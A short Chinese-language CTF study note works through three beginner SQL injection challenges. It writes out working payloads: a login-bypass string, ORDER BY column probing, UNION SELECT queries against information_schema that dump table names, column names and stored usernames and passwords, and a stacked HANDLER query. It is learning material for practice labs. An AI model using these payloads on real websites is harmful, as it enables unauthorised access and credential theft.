2026/8/12 16:08:15

CTF_Day2

CTF_Day2 [极客大挑战 2019]EasySQL这道题是非常基础的sql注入进去之后就是一个登录界面输入万能钥匙就能实现查到flag1 or 11 # //用户名 1 //密码随意[极客大挑战 2019]LoveSQL这个也是sql注入的一种是命令执行注入用万能钥匙注入后确实可以实现绕过说明存在注入漏洞但现在访问后没有flag后尝试从别的角度入手也许是还存在一个数据库可以访问从某一方面将union来实现访问一个网站后再访问另一个网站也就是用union来拼接我们真正想要访问的但再用union之前先要知道访问的表里面有哪些是会出现回显的字段所以要先查表来就确定有几个字段1 order by 4 #order by 列名order by原本是 MySQL 原生语法对查询结果按照某一列排序。它再sql注入时可以用来尝试测试有多少列由于他的特性在列数超过实际的列数时就会导致出现错误可以这一特点来测试有多少列当我用order by 3时会出现代表访问不了而不是报错代表当4时就已经超出了列数表明要表内就是3列后就是需要查阅相关的回显的是哪几列就输入一下内容1 union select 1,2,3#让后在后端运行的代码就是select * from 表 where username1union select 1,2,3# and password1就是这样可以就看到是2和3位置是回显的可以看到3的字段都是password尝试去进行爆破select id,username,password from geekuser where username$用户输入 and password$passselect id,username,password from geekuser where username1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() # and password$pass拼接后就是这个样子就呢个够查到表的名称看到另一个是l0ve1ysq11 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namel0ve1ysq1#1 union select 1,2,group_concat(id,username,password) from l0ve1ysq1#不敢想现在的flag都是全随机的[强网杯 2019]随便注1;HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#